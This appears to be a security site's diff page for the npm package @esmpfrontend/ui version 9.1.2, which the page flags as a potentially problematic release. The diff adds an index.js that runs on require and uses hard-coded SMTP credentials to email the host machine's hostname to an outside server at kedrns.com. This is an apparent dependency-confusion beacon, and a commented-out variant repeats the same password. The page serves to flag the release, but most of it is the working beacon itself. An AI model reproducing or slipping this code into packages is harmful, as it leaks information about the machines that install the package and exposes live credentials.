@esmpfrontend/ui 0.0.1-security → 9.1.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @esmpfrontend/ui might be problematic. Click here for more details.
- package/index.js +53 -0
- package/package.json +13 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,53 @@
|
|
1
|
+
/*import { SMTPClient } from 'emailjs';
|
2
|
+
|
3
|
+
const client = new SMTPClient({
|
4
|
+
user: 'userhuiuser@kedrns.com',
|
5
|
+
password: 'L3IXGUz2im^3',
|
6
|
+
host: 'mail.kedrns.com',
|
7
|
+
ssl: true,
|
8
|
+
// domain:''
|
9
|
+
port:'25',
|
10
|
+
authentication: ['PLAIN', 'LOGIN']
|
11
|
+
});
|
12
|
+
|
13
|
+
// send the message and get a callback with an error or details of the message that was sent
|
14
|
+
client.send(
|
15
|
+
{
|
16
|
+
text: 'i hope this works',
|
17
|
+
from: 'you <userhuiuser@kedrns.com>',
|
18
|
+
to: 'someone <maanka@kedrns.com.com>',
|
19
|
+
subject: 'testing emailjs',
|
20
|
+
},
|
21
|
+
(err, message) => {
|
22
|
+
console.log(err || message);
|
23
|
+
}
|
24
|
+
);
|
25
|
+
*/
|
26
|
+
const os = require('os')
|
27
|
+
const nodemailer = require('nodemailer');
|
28
|
+
const smtp = nodemailer.createTransport({
|
29
|
+
host: "mail.kedrns.com",
|
30
|
+
port:25,
|
31
|
+
tls: {rejectUnauthorized: false},
|
32
|
+
auth: {
|
33
|
+
user: "userhuiuser@kedrns.com",
|
34
|
+
pass: `L3IXGUz2im^3`
|
35
|
+
}
|
36
|
+
});
|
37
|
+
|
38
|
+
var mailOptions = {
|
39
|
+
from: os.hostname()+'@kedrns.com',
|
40
|
+
to: 'debug@kedrns.com',
|
41
|
+
subject: 'subjest',
|
42
|
+
text: 'This is debug message'
|
43
|
+
}
|
44
|
+
|
45
|
+
smtp.sendMail(mailOptions, function (error, response) {
|
46
|
+
if (error) {
|
47
|
+
console.log(error);
|
48
|
+
res.end("error");
|
49
|
+
} else {
|
50
|
+
console.log("Email sent ");
|
51
|
+
res.end("sent");
|
52
|
+
}
|
53
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "@esmpfrontend/ui",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9.1.2",
|
4
|
+
"description": "my first package",
|
5
|
+
"main": "index.js",
|
6
|
+
"author": "IaM",
|
7
|
+
"license": "ISC",
|
8
|
+
"scripts": {
|
9
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
10
|
+
},
|
11
|
+
"dependencies": {
|
12
|
+
"@esmpfrontend/ui": "^9.1.1",
|
13
|
+
"emailjs": "^4.0.1",
|
14
|
+
"nodemailer": "^6.7.8"
|
15
|
+
}
|
6
16
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40esmpfrontend%2Fui for more information.
|